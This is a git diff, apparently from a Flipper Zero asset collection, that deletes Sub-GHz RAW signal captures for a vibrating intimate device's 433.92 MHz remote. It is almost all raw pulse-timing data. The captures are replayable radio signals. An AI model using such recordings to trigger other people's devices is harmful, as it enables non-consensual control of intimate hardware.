2561 -66 295 -96 1539 -98 65 -100 793 -66 3569 -132 6435 -166 5743 -166 3181 -66 4837 -66 8243 -66 4445 -68 597 -134 735 -66 3017 -66 13727 -66 3903 -100 165 -66 2905 -66 425 -66 129 -100 459 -100 265 -66 5477 -66 3839 -396 99 -66 651 -66 1999 -98 3535 -66 1123 -100 1661 -66 2629 -98 3851 -66 1961 -66 827 -100 16749 -66 563 -66 197 -98 1027 -100 5509 -100 8367 -100 963 -100 2229 -100 2071 -64 7253 -100 8335 -98 1215 -64 1125 -98 2459 -66 331 -100 1547 -66 1455 -68 131 -66 299 -132 729 -100 463 -100 433 -100 19401 -100 1033 -66 5383 -66 529 -66 1659 -66 1643 -66 2463 -200 2819 -200 531 -100 561 -66 885 -164 753 -100 3009 -64 427 -98 1479 -66 1249 -66 1741 -66 8761 -68 3551 -166 329 -100 1291 -100 361 -98 723 -68 2629 -66 3915 -68 1925 -66 4405 -66 1573 -64 3923 -100 12035 -100 529 -164 9935 -100 3043 -100 1847 -98 391 -98 687 -66 2621 -66 163 -268 1029 -132 2025 -98 14265 -66 333 -100 1129 -100 8929 -132 1425 -132 3113 -64 721 -66 889 -132 363 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_07_2.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_07_2.sub deleted file mode 100644 index 7fe5dc66d..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_07_2.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -66 1775 -64 429 362 12405 -100 967 -100 793 -66 1955 -68 431 -66 29499 -66 763 -100 233 -102 1051 -66 293 -98 7765 -100 231 -166 14045 -66 3911 -100 8379 -68 5277 -66 1559 -66 6657 -66 959 -66 3187 -132 1939 -166 4945 -66 5697 -98 9391 -66 129 -66 2671 -98 199 -66 965 -100 755 -64 1321 -132 1249 -64 3631 -132 299 -66 1753 -66 2649 -66 7233 -66 4699 -68 5057 -98 131 -66 561 -132 3431 -66 1639 -232 1595 -134 5439 -66 2931 -98 1397 -100 2575 -66 10653 -66 9127 -66 1931 -68 2425 -132 231 -66 499 -100 15087 -100 3877 -134 4253 -66 1911 -66 5435 -100 2333 -98 7247 -66 665 -882 379 -882 411 -846 425 -852 383 -902 379 -872 409 -852 417 -842 1715 -454 405 -416 409 -414 447 -452 383 -420 413 -422 427 -842 417 -850 439 -848 385 -452 411 -426 377 -460 445 -848 413 -648 205 -432 415 -406 421 -838 447 -846 413 -418 65 -242 107 -842 427 -424 441 -844 397 -424 443 -844 401 -424 445 -842 165 -1076 415 -870 157 -1096 407 -868 281 -990 421 -818 329 -966 395 -866 353 -920 1659 -450 415 -428 411 -416 451 -418 409 -410 415 -418 419 -852 423 -876 419 -818 443 -418 415 -418 311 -962 419 -434 425 -606 249 -426 415 -854 347 -490 417 -848 407 -636 245 -822 419 -418 439 -820 453 -382 447 -848 447 -382 417 -848 201 -1076 421 -836 193 -1088 411 -870 237 -1022 409 -844 281 -982 465 -812 289 -978 1629 -488 447 -408 445 -384 435 -428 443 -416 419 -410 415 -874 433 -846 415 -836 411 -418 437 -426 129 -242 421 -398 437 -416 451 -386 437 -864 175 -668 413 -844 415 -446 419 -818 441 -418 245 -1014 423 -426 445 -808 465 -388 445 -976 265 -858 423 -1050 237 -844 425 -1104 177 -836 437 -1076 193 -826 449 -854 67 -238 101 -822 1371 -248 71 -444 405 -426 411 -416 173 -710 399 -430 415 -418 205 -1092 409 -840 247 -1024 429 -426 411 -544 317 -860 419 -414 283 -566 417 -432 397 -1062 235 -392 435 -866 387 -450 441 -824 451 -648 179 -842 437 -388 447 -846 437 -390 447 -846 437 -814 451 -820 419 -878 407 -882 419 -814 427 -986 319 -826 413 -974 287 -864 1237 -238 215 -428 393 -454 407 -690 173 -392 451 -386 435 -738 137 -818 455 -814 167 -1116 413 -420 437 -524 313 -854 423 -398 437 -414 447 -416 407 -878 69 -210 145 -412 419 -826 439 -418 417 -848 439 -416 63 -242 145 -802 431 -426 409 -844 429 -424 445 -842 441 -812 415 -890 385 -840 421 -914 389 -814 417 -864 409 -852 453 -832 413 -836 1253 -420 411 -438 433 -508 325 -448 415 -RAW_Data: -420 413 -506 345 -822 443 -824 449 -838 415 -440 413 -420 421 -842 449 -382 457 -430 393 -436 415 -850 451 -404 427 -838 425 -400 453 -818 443 -416 419 -848 441 -388 383 -898 431 -424 445 -124518 263 -598 65 -896 265 -1864 633 -100 131 -566 365 -166 6153 -66 917 -66 1417 -100 2141 -66 1325 -100 14321 -66 9729 -68 3383 -134 3043 -98 6145 -100 4311 -100 2781 -66 4543 -68 3161 -66 2631 -66 5097 -198 1949 -66 5441 -166 1805 -198 1151 -98 825 -66 1917 -100 2281 -66 2663 -66 2455 -100 2087 -66 4853 -132 2755 -64 1835 -100 4009 -66 2167 -66 9249 -100 99 -68 2653 -134 3557 -66 6723 -64 1629 -100 1861 -68 131 -68 2293 -66 2475 -132 163 -66 4749 -134 463 -66 3489 -132 267 -66 233 -100 2127 -166 1281 -100 4717 -100 6003 -66 6037 -100 691 -132 6363 -164 2651 -68 6291 -232 1691 -66 6835 -68 1689 -100 725 -68 5033 -66 4211 -130 1611 -132 3183 -66 2681 -98 231 -66 1277 -98 1223 -66 1263 -132 463 -132 65 -98 165 -64 5603 -66 1571 -132 2097 -66 10043 -68 1697 -100 1223 -164 7843 -66 361 -66 6207 -68 529 -130 263 -66 3289 -66 461 -66 4309 -66 4669 -64 165 -100 5393 -66 491 -132 917 -164 1349 -66 1841 -166 661 -100 463 -66 1057 -66 8727 -100 11875 -100 5357 -102 3599 -98 823 -132 327 -98 2001 -96 1317 -132 1745 -132 597 -132 1955 -134 299 -66 1387 -132 3941 -66 3087 -66 3709 -66 555 -68 3897 -66 2997 -66 799 -134 3453 -66 7063 -66 7339 -66 3359 -134 3387 -66 2975 -100 2523 -134 3709 -100 4635 -66 733 -164 8249 -100 763 -66 335 -66 2375 -100 793 -66 1427 -68 2383 -98 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_07_3.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_07_3.sub deleted file mode 100644 index 3b41bc570..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_07_3.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 6067 6335 -132 1263 -100 3361 -66 3187 -100 6155 -66 12897 -66 3715 -100 1913 -64 11851 -66 265 -100 1845 -66 6125 -66 35499 -100 2147 -66 793 -98 1979 -98 1997 -66 3481 -66 30807 -134 2917 -100 14031 -66 3717 -66 669 -66 10183 -68 597 -66 16673 -66 2809 -66 2891 -100 11003 -66 20291 -134 2015 -66 4365 -68 2875 -98 13995 -68 1363 -68 13561 -100 10187 -98 15421 -134 5027 -66 33963 -66 2879 -98 3549 -98 5263 -64 1813 -66 24327 -66 6613 -100 1395 -66 1373 -64 29637 -100 789 -98 1477 -98 953 -66 2937 -66 15829 -66 11051 -100 13423 -66 12509 -66 2307 -100 1049 -66 46507 -100 20565 -100 3687 -66 12821 -66 12781 -132 167 -66 2257 -66 1127 -19380 97 -1184 361 -164 131 -228 263 -66 363 -66 199 -134 629 -68 2991 -68 12071 -66 15549 -98 1051 -66 31177 -66 2793 -68 29767 -98 13703 -66 6645 -100 1331 -66 46519 -842 437 -846 387 -852 423 -838 419 -846 439 -844 387 -854 425 -840 1681 -424 445 -412 411 -420 423 -442 383 -450 393 -450 411 -854 413 -852 397 -862 419 -420 405 -456 381 -876 411 -420 411 -446 415 -410 421 -850 413 -452 401 -882 383 -442 409 -876 399 -426 411 -846 427 -424 409 -844 429 -428 409 -842 425 -852 381 -866 411 -850 433 -856 417 -846 399 -884 383 -854 425 -840 419 -846 1687 -412 423 -426 409 -420 415 -452 409 -410 417 -448 425 -816 423 -840 417 -850 405 -454 413 -418 407 -852 413 -844 425 -442 415 -416 409 -860 417 -844 433 -846 385 -450 407 -852 413 -410 437 -844 391 -450 411 -852 415 -450 403 -854 381 -884 397 -862 417 -846 401 -852 415 -864 381 -876 415 -862 409 -846 425 -850 1669 -436 417 -416 417 -450 403 -424 407 -416 445 -418 397 -864 417 -848 433 -816 417 -440 397 -454 415 -846 401 -850 413 -450 405 -424 407 -876 399 -854 415 -872 383 -448 391 -882 389 -442 383 -884 399 -434 417 -846 417 -428 395 -862 415 -850 439 -846 383 -854 423 -870 377 -858 447 -846 399 -848 417 -870 387 -876 1661 -416 445 -420 425 -440 383 -450 391 -448 411 -424 409 -844 425 -870 383 -852 423 -444 415 -420 427 -836 413 -854 423 -440 383 -448 393 -884 387 -874 419 -862 411 -416 417 -848 441 -420 415 -848 399 -424 441 -842 401 -426 411 -878 397 -838 451 -818 423 -840 415 -844 443 -816 415 -852 423 -840 453 -814 439 -816 1707 -418 415 -414 421 -412 447 -414 439 -410 417 -418 415 -864 409 -848 441 -826 453 -414 411 -418 411 -844 445 -846 413 -416 419 -416 439 -838 421 -844 403 -852 413 -440 407 -842 427 -430 407 -842 423 -398 437 -RAW_Data: -840 427 -412 447 -846 401 -852 413 -854 425 -838 421 -846 437 -844 419 -820 423 -842 421 -850 439 -842 1683 -422 419 -440 429 -390 447 -412 413 -422 441 -416 415 -854 395 -866 417 -850 399 -444 413 -412 405 -888 419 -844 399 -422 443 -414 413 -850 415 -842 423 -870 413 -410 445 -810 429 -410 449 -844 399 -424 443 -840 399 -426 445 -161432 165 -232 65 -400 661 -132 661 -100 10847 -68 19643 -66 4419 -66 12627 -98 62971 -66 1409 -66 3087 -132 4799 -166 1595 -100 4251 -66 3739 -100 829 -100 10969 -66 11957 -68 3669 -132 14959 -66 12929 -100 2605 -66 21575 -64 9653 -66 10833 -100 6503 -100 4269 -98 1575 -68 1119 -66 20799 -100 11337 -66 12425 -98 5869 -66 5275 -100 23955 -100 2349 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_07_4.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_07_4.sub deleted file mode 100644 index 33d7b6f81..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_07_4.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 4722 12713 -98 5249 -98 2855 -66 4579 -98 1855 -100 297 -68 2643 -68 733 -66 165 -100 1225 -66 2615 -98 4405 -66 2057 -100 1805 -98 2763 -100 1161 -100 429 -66 131 -66 8687 -100 1317 -130 7203 -66 1757 -66 2193 -66 231 -134 6811 -98 897 -100 4365 -66 2171 -132 4483 -100 2125 -100 665 -66 167 -66 8051 -100 461 -100 557 -100 1131 -66 3867 -98 2727 -100 3923 -66 163 -66 167 -200 267 -132 2125 -66 1031 -98 67 -66 1213 -98 1583 -98 1901 -66 6115 -66 12431 -68 1219 -98 2437 -98 753 -66 949 -98 97 -98 2541 -66 7033 -816 411 -876 373 -880 387 -882 389 -874 409 -846 413 -876 397 -880 581 -242 839 -448 383 -450 295 -532 441 -418 415 -416 351 -486 427 -838 417 -850 439 -844 387 -688 165 -442 415 -846 435 -848 387 -450 407 -422 131 -1158 387 -886 99 -1166 415 -410 437 -856 413 -412 409 -932 347 -422 423 -872 247 -596 411 -844 411 -844 427 -836 413 -886 387 -870 409 -866 417 -846 401 -850 415 -886 389 -870 1697 -412 123 -438 381 -450 427 -416 171 -682 417 -416 409 -872 419 -848 399 -886 393 -418 431 -822 257 -596 441 -418 415 -416 281 -996 403 -424 445 -612 239 -832 411 -444 417 -856 411 -418 413 -878 411 -418 415 -848 99 -258 71 -408 441 -844 401 -852 415 -854 423 -840 417 -848 439 -846 423 -852 417 -844 409 -862 419 -848 1683 -572 275 -412 435 -416 417 -708 123 -436 413 -442 411 -844 427 -852 411 -872 387 -446 415 -834 131 -246 61 -420 433 -418 417 -416 125 -1148 415 -418 449 -422 417 -840 417 -416 245 -1026 449 -414 409 -844 453 -386 433 -900 383 -424 409 -848 385 -894 425 -822 409 -884 397 -862 421 -844 401 -850 415 -854 423 -838 449 -844 1665 -454 405 -410 445 -408 409 -456 387 -444 413 -422 431 -852 387 -878 413 -842 415 -414 447 -976 287 -400 441 -412 445 -592 241 -832 433 -430 325 -516 419 -836 447 -698 139 -846 411 -408 441 -846 427 -396 433 -844 427 -424 443 -840 131 -1122 423 -866 193 -838 411 -866 285 -969 411 -842 309 -872 405 -830 387 -892 1679 -454 417 -410 445 -382 447 -418 439 -386 445 -420 427 -854 409 -854 427 -838 419 -418 453 -830 411 -410 445 -412 409 -444 409 -840 441 -416 405 -438 445 -836 433 -388 443 -840 435 -410 417 -856 433 -388 445 -840 401 -426 445 -874 383 -852 411 -968 299 -856 411 -850 65 -68 297 -830 439 -844 405 -858 419 -854 163 -828 1495 -428 415 -420 431 -400 441 -428 419 -414 407 -440 273 -850 419 -848 337 -908 443 -420 427 -856 411 -412 455 -RAW_Data: -388 413 -448 413 -850 417 -480 377 -426 413 -852 413 -420 439 -848 413 -422 127 -850 421 -418 439 -838 421 -420 439 -129126 97 -198 465 -66 65 -198 951 -464 197 -68 199 -366 4381 -68 1195 -100 3347 -100 265 -68 4025 -98 4017 -132 4249 -100 1961 -100 2397 -66 11027 -200 2425 -102 563 -134 299 -66 1491 -66 1131 -132 3153 -66 363 -100 165 -100 701 -66 3123 -100 1795 -100 299 -100 2951 -100 561 -66 293 -66 1187 -130 6135 -68 4709 -66 297 -68 7121 -66 493 -66 423 -132 887 -198 10559 -66 1747 -98 329 -66 3495 -66 10321 -132 131 -134 165 -134 13139 -98 1447 -66 331 -100 297 -230 3253 -66 3023 -98 1383 -66 3943 -100 2257 -134 533 -134 2387 -66 2997 -66 1027 -100 331 -132 3389 -132 5485 -66 3647 -100 4157 -66 985 -134 701 -96 2243 -66 5305 -98 799 -66 701 -66 629 -66 5745 -100 8369 -64 197 -196 1311 -68 65 -98 6915 -98 7535 -66 357 -98 823 -66 2111 -66 3747 -66 5571 -102 1199 -66 1233 -100 3335 -132 5257 -66 8577 -68 2251 -296 11381 -64 5541 -100 4287 -134 2557 -64 1575 -66 1759 -66 799 -232 731 -98 5001 -66 1925 -100 527 -130 523 -68 1969 -100 293 -100 101 -100 999 -132 2247 -66 1909 -64 11793 -98 1455 -64 263 -66 263 -132 565 -66 15485 -66 499 -98 4411 -66 4353 -100 2591 -166 1583 -100 1513 -66 229 -66 935 -100 425 -66 1573 -68 4977 -100 389 -66 953 -166 9865 -102 949 -100 229 -98 719 -100 433 -66 463 -66 599 -66 929 -100 1227 -100 4763 -98 3835 -98 231 -66 801 -134 2645 -166 14869 -164 1583 -66 2389 -66 2027 -66 1755 -100 4631 -66 2023 -98 695 -66 3091 -64 6123 -66 4021 -66 4977 -66 787 -100 361 -64 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_08_1.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_08_1.sub deleted file mode 100644 index 2be83b3c1..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_08_1.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 5431 -66 1327 4798 4241 -68 1617 -66 1259 -134 1761 -66 327 -98 15551 -100 2333 -66 1827 -66 2419 -132 1293 -134 3675 -66 4327 -132 2893 -66 1263 -66 1921 -98 15209 -100 435 -98 4361 -164 6667 -100 9305 -132 665 -66 12279 -66 10563 -100 2117 -100 2219 -100 2553 -66 1201 -66 2879 -98 229 -98 623 -132 1979 -66 1681 -66 1905 -130 3371 -98 4905 -134 65 -100 4605 -164 5789 -66 2885 -264 1625 -100 465 -98 7729 -98 4317 -66 2447 -98 19045 -66 2781 -66 231 -66 697 -66 3849 -166 3519 -66 8259 -100 531 -98 11327 -130 1921 -66 6025 -100 7979 -134 3925 -66 1593 -100 1851 -66 199 -100 2061 -66 5845 -132 2827 -66 5311 -132 853 -64 949 -100 2795 -66 14817 -66 1465 -98 859 -66 995 -66 2239 -66 4247 -132 231 -66 5011 -66 1291 -134 4179 -168 1291 -130 3257 -66 1527 -100 3551 -66 1687 -888 131 -1126 365 -894 207 -1074 361 -888 259 -1034 351 -908 309 -954 1569 -546 409 -420 415 -450 349 -488 413 -450 401 -428 407 -876 399 -852 415 -870 389 -442 415 -418 135 -462 399 -870 383 -452 405 -428 407 -448 413 -848 413 -876 397 -430 407 -878 399 -426 273 -874 397 -424 443 -848 399 -424 411 -876 395 -850 415 -870 379 -882 397 -862 417 -848 437 -814 417 -850 425 -872 411 -844 1665 -450 409 -426 409 -448 411 -420 411 -444 385 -900 381 -450 393 -450 411 -456 413 -420 439 -430 387 -446 415 -870 379 -450 393 -450 407 -426 443 -848 401 -850 417 -450 403 -852 415 -444 393 -852 415 -450 401 -852 417 -442 393 -882 385 -852 423 -872 411 -860 415 -846 397 -852 415 -854 393 -900 379 -876 411 -878 1679 -418 431 -400 431 -418 415 -454 399 -432 415 -846 439 -428 387 -448 415 -416 433 -428 407 -448 409 -436 385 -876 411 -418 411 -442 383 -450 393 -882 387 -876 407 -424 411 -876 409 -452 381 -870 411 -436 389 -878 407 -418 425 -872 379 -878 411 -844 429 -852 415 -868 415 -852 393 -868 417 -848 405 -882 383 -894 1665 -446 385 -442 421 -444 381 -448 411 -434 417 -870 381 -472 381 -448 391 -444 413 -446 409 -432 387 -446 417 -868 413 -442 395 -424 445 -414 409 -864 417 -846 437 -388 445 -844 405 -454 415 -844 433 -388 445 -848 437 -388 445 -846 401 -850 417 -884 389 -838 445 -846 413 -844 425 -852 413 -870 381 -882 399 -866 1673 -424 443 -416 409 -436 415 -450 385 -452 403 -854 413 -416 433 -412 443 -414 409 -440 417 -446 383 -450 409 -854 413 -452 401 -426 443 -380 451 -854 413 -844 425 -428 409 -842 425 -424 443 -844 401 -426 443 -844 403 -424 -RAW_Data: 443 -838 433 -836 425 -824 443 -852 409 -838 421 -848 439 -844 421 -834 413 -856 423 -840 1705 -420 417 -416 439 -412 415 -452 419 -418 409 -848 415 -420 435 -430 409 -418 415 -420 435 -432 415 -416 455 -818 421 -446 413 -420 429 -416 413 -850 413 -870 385 -446 415 -856 427 -408 415 -872 409 -412 413 -850 435 -430 415 -127836 131 -194 97 -164 497 -66 6745 -98 5259 -132 1771 -64 3805 -64 65 -100 3815 -98 919 -232 2759 -100 2591 -66 1845 -66 557 -66 1941 -100 2879 -66 1777 -66 1553 -100 929 -100 4607 -132 16627 -66 1591 -66 1429 -66 4119 -66 4345 -66 1329 -132 4415 -66 1127 -198 1789 -98 4133 -66 63 -66 2045 -100 7835 -66 4457 -68 6167 -66 10207 -98 3451 -100 4841 -66 5653 -132 393 -66 4227 -66 1915 -134 65 -100 1093 -100 1417 -98 487 -66 761 -132 4647 -68 995 -66 629 -100 1119 -98 657 -68 1891 -132 2605 -66 3071 -166 597 -66 5751 -100 1563 -66 1563 -132 3959 -100 599 -134 1281 -66 2565 -66 1613 -66 1905 -130 2247 -66 1693 -66 1065 -68 3453 -68 265 -68 3013 -134 1423 -66 3459 -100 2937 -164 1855 -98 5637 -130 857 -66 1857 -100 1063 -66 1349 -132 625 -132 1643 -66 5165 -98 4235 -100 2549 -234 657 -66 3353 -98 493 -66 229 -66 697 -66 799 -98 6249 -98 5481 -230 4777 -66 3461 -68 2613 -66 5065 -66 3383 -166 795 -100 6115 -132 6047 -100 10371 -66 633 -66 687 -66 1391 -230 2989 -100 993 -66 2635 -134 815 -66 1249 -66 391 -100 2285 -132 923 -66 2335 -64 2677 -98 1493 -66 4145 -66 623 -66 327 -132 2329 -100 297 -102 2167 -66 3111 -100 365 -100 627 -64 4293 -66 4213 -66 1717 -100 2725 -98 5477 -98 2455 -66 2029 -66 4363 -98 1181 -66 555 -66 6655 -100 665 -66 893 -66 299 -66 563 -66 197 -68 1557 -66 493 -66 2651 -132 4349 -66 961 -66 10135 -198 1525 -66 3121 -66 167 -66 2067 -98 4119 -66 5427 -230 1121 -68 1319 -66 1513 -66 1531 -66 4801 -68 331 -68 661 -68 657 -100 3181 -66 1459 -66 1461 -230 3181 -98 525 -100 3703 -132 15255 -68 695 -66 831 -264 859 -166 1615 -66 1213 -100 953 -66 1083 -130 4975 -66 789 -100 6661 -100 4413 -132 5225 -66 99 -132 587 -98 4939 -64 2721 -100 1997 -200 4783 -66 493 -66 555 -130 1509 -98 4277 -98 2843 -66 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_08_2.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_08_2.sub deleted file mode 100644 index ca2200fbb..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_08_2.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 5049 -66 4209 -66 1083 -98 4221 3422 3569 -98 21983 -100 4141 -96 8883 -100 16407 -98 14527 -66 1883 -66 1583 -66 9949 -66 4067 -132 9163 -100 1677 -98 655 -66 8149 -132 14541 -876 307 -984 263 -988 291 -972 295 -966 339 -918 339 -912 363 -920 1611 -508 351 -472 361 -492 377 -450 413 -470 353 -908 369 -460 357 -506 385 -448 405 -450 377 -452 413 -444 385 -880 397 -468 381 -444 421 -426 407 -876 397 -852 413 -440 427 -846 421 -428 405 -878 393 -444 415 -846 399 -422 443 -848 435 -846 387 -886 389 -876 411 -846 411 -876 395 -868 421 -824 443 -852 399 -862 1669 -428 407 -416 445 -416 409 -446 413 -410 439 -844 421 -428 407 -416 445 -418 399 -438 413 -450 391 -852 421 -446 415 -410 421 -442 415 -846 405 -424 445 -842 431 -388 443 -844 439 -388 445 -848 405 -424 445 -844 433 -388 443 -844 439 -846 387 -852 423 -876 419 -818 443 -846 387 -852 423 -840 419 -850 439 -846 1673 -420 417 -416 435 -426 441 -380 445 -420 409 -878 411 -420 427 -410 413 -446 417 -412 443 -416 409 -870 419 -416 441 -396 423 -446 413 -834 411 -446 415 -838 425 -410 413 -866 409 -450 389 -868 411 -418 433 -868 383 -452 407 -848 413 -856 425 -838 419 -848 439 -846 423 -816 441 -842 409 -864 419 -848 437 -846 1675 -420 417 -452 403 -424 441 -382 447 -418 409 -844 417 -420 437 -428 417 -416 415 -452 403 -428 409 -876 397 -426 445 -414 411 -420 409 -874 407 -438 417 -842 441 -408 417 -872 409 -410 413 -872 409 -444 413 -856 415 -406 423 -872 411 -846 413 -844 429 -854 413 -856 395 -866 419 -846 439 -844 425 -824 445 -854 1679 -422 409 -446 413 -422 429 -416 413 -426 443 -812 431 -422 443 -384 451 -430 425 -406 415 -452 421 -836 413 -418 437 -426 441 -382 445 -852 413 -416 447 -844 413 -418 419 -846 437 -386 449 -846 403 -424 447 -846 437 -390 447 -842 433 -844 385 -864 415 -850 453 -832 415 -844 421 -852 413 -840 425 -840 419 -850 1689 -420 433 -416 415 -424 445 -382 445 -420 441 -848 413 -414 409 -448 413 -408 443 -416 417 -418 439 -842 421 -420 437 -428 417 -418 415 -856 173 -658 425 -840 421 -520 351 -840 421 -416 351 -918 451 -382 445 -850 415 -416 449 -122740 99 -496 65 -1064 297 -66 131 -66 1217 -230 3813 -66 8713 -100 3083 -64 99 -100 525 -132 7331 -66 5359 -100 423 -66 11887 -100 3819 -66 2853 -66 4171 -98 11177 -100 65 -100 12173 -64 3521 -100 467 -134 2917 -98 49851 -132 7049 -68 1025 -66 18377 -66 719 -100 131 -66 -RAW_Data: 20641 -66 30507 -66 3113 -66 12591 -66 2153 -66 4435 -98 2579 -66 8661 -66 10453 -66 5081 -100 2523 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_08_3.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_08_3.sub deleted file mode 100644 index df121086e..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_08_3.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -66 11735 -433 8111 -132 919 -64 1845 -100 4061 -100 13769 -98 1907 -100 433 -134 65 -100 1861 -66 1261 -98 655 -66 855 -98 491 -66 1875 -66 3079 -66 2393 -66 4875 -98 1577 -98 1707 -162 1047 -66 8415 -134 2257 -66 10787 -100 2477 -66 401 -100 365 -98 265 -68 599 -100 4563 -68 15691 -66 3149 -66 8067 -98 1029 -134 3821 -132 1643 -100 4959 -64 3079 -66 761 -66 2645 -132 1233 -66 4733 -100 1329 -200 301 -100 2523 -66 1781 -68 9905 -132 13053 -816 455 -842 165 -66 165 -868 421 -858 97 -68 251 -852 417 -822 201 -854 387 -884 1677 -422 395 -470 383 -448 391 -450 407 -424 409 -844 427 -426 441 -416 411 -436 417 -448 385 -450 403 -854 411 -410 437 -418 411 -448 411 -874 383 -420 437 -856 417 -416 409 -854 415 -448 411 -850 411 -420 409 -878 411 -418 413 -876 411 -846 421 -854 411 -854 393 -868 419 -852 439 -816 415 -886 387 -874 413 -848 1699 -430 405 -418 415 -452 379 -474 381 -450 425 -854 381 -450 429 -416 411 -424 445 -416 449 -406 425 -840 417 -850 437 -420 411 -452 399 -862 413 -844 403 -872 421 -428 403 -874 395 -444 411 -840 439 -412 409 -876 407 -412 411 -878 409 -840 425 -852 415 -852 425 -838 445 -846 411 -848 423 -848 387 -876 411 -848 1705 -430 407 -416 415 -454 399 -430 419 -448 385 -852 425 -442 383 -444 421 -428 405 -416 449 -426 401 -862 417 -852 405 -454 415 -416 407 -854 447 -844 399 -880 383 -442 411 -876 395 -424 441 -844 399 -424 409 -878 397 -424 441 -846 401 -850 415 -850 425 -872 417 -854 409 -844 391 -860 411 -884 399 -858 417 -846 1693 -412 415 -428 407 -416 443 -418 411 -444 415 -838 425 -442 383 -448 427 -398 435 -416 445 -418 399 -868 417 -848 397 -424 443 -416 409 -852 415 -844 425 -870 419 -414 409 -882 383 -442 409 -844 427 -426 407 -876 399 -424 445 -846 401 -850 415 -852 425 -838 415 -876 411 -848 421 -852 381 -902 379 -874 409 -862 1671 -414 443 -416 411 -438 419 -414 417 -452 407 -852 415 -450 401 -424 407 -448 413 -422 425 -410 415 -882 399 -864 417 -386 443 -420 413 -870 409 -866 417 -846 397 -422 443 -846 401 -426 443 -846 403 -454 415 -844 435 -388 445 -846 403 -854 415 -852 423 -876 411 -846 413 -846 427 -858 413 -854 397 -868 415 -842 1687 -418 433 -414 405 -454 415 -416 409 -420 413 -874 417 -430 409 -446 413 -420 427 -414 407 -424 443 -846 435 -846 385 -442 411 -416 439 -832 449 -846 433 -846 385 -452 411 -852 415 -418 433 -854 415 -440 409 -RAW_Data: -846 427 -428 409 -126696 65 -790 97 -924 65 -230 163 -98 263 -66 231 -198 199 -228 97 -132 393 -64 3759 -166 4093 -66 195 -64 261 -98 267 -66 6627 -98 4991 -66 13995 -132 9769 -200 595 -66 501 -168 465 -100 3701 -164 99 -66 329 -68 5581 -66 13369 -66 923 -66 2385 -132 1917 -98 13355 -66 433 -66 3151 -68 1589 -66 1321 -100 10057 -68 3821 -198 1955 -68 727 -66 1065 -98 3359 -66 635 -68 4833 -66 1167 -66 663 -132 3437 -100 495 -64 8159 -132 2139 -98 621 -66 393 -98 2685 -100 297 -68 627 -66 11065 -66 791 -66 1559 -66 129 -198 1533 -66 2079 -66 2447 -98 1131 -98 1729 -66 1423 -66 625 -66 99 -100 1093 -68 2623 -98 5455 -66 893 -132 4893 -66 2797 -100 3027 -66 557 -132 535 -66 4681 -66 8353 -200 2307 -66 6997 -66 8743 -66 5007 -100 1003 -66 199 -66 1257 -66 2843 -130 6003 -66 1795 -100 233 -100 1735 -100 663 -100 1321 -66 2009 -100 2653 -66 689 -100 397 -66 331 -68 199 -66 1921 -68 495 -98 625 -98 855 -100 7751 -66 3647 -130 1615 -98 1645 -66 231 -102 3055 -64 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_08_4.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_08_4.sub deleted file mode 100644 index 8346d7b93..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_08_4.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 3155 -164 1251 -134 4083 -132 1889 -132 1941 -66 329 -503 10401 -98 